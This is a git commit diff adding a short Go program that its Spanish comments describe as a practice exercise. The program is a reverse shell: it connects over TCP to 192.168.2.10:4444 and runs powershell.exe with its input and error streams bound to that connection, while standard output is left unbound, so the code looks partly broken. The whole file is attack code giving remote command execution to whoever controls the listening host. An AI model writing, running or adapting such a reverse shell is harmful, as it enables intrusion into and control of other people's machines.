anadiendo prueba
This commit is contained in:
+44
@@ -0,0 +1,44 @@
|
||||
// ejercicio de prueba despues de como dos semanas de no programar como me gusta
|
||||
package main
|
||||
import (
|
||||
"os/exec"
|
||||
"log"
|
||||
"net"
|
||||
)
|
||||
|
||||
//creamos el struct
|
||||
type IpAddr struct {
|
||||
Addr string
|
||||
}
|
||||
|
||||
//metodo "constructor"
|
||||
|
||||
func SerAddr() *IpAddr {
|
||||
return &IpAddr {
|
||||
Addr: "192.168.2.10:4444",
|
||||
}
|
||||
}
|
||||
|
||||
func (IA IpAddr) StartConnection() {
|
||||
//enviamos una reverse shell
|
||||
conn, err := net.Dial("tcp", IA.Addr)
|
||||
if err != nil {
|
||||
log.Println("Error al enviar la conexion")
|
||||
return
|
||||
}
|
||||
|
||||
SendCmd(conn)
|
||||
}
|
||||
|
||||
func SendCmd(conn net.Conn) {
|
||||
//enviamos la conexion lol
|
||||
cmd := exec.Command("powershell.exe")
|
||||
cmd.Stdin = conn
|
||||
cmd.Stderr = conn
|
||||
cmd.Run()
|
||||
}
|
||||
|
||||
func main() {
|
||||
reAddr := SerAddr()
|
||||
reAddr.StartConnection()
|
||||
}
|
||||
Reference in New Issue
Block a user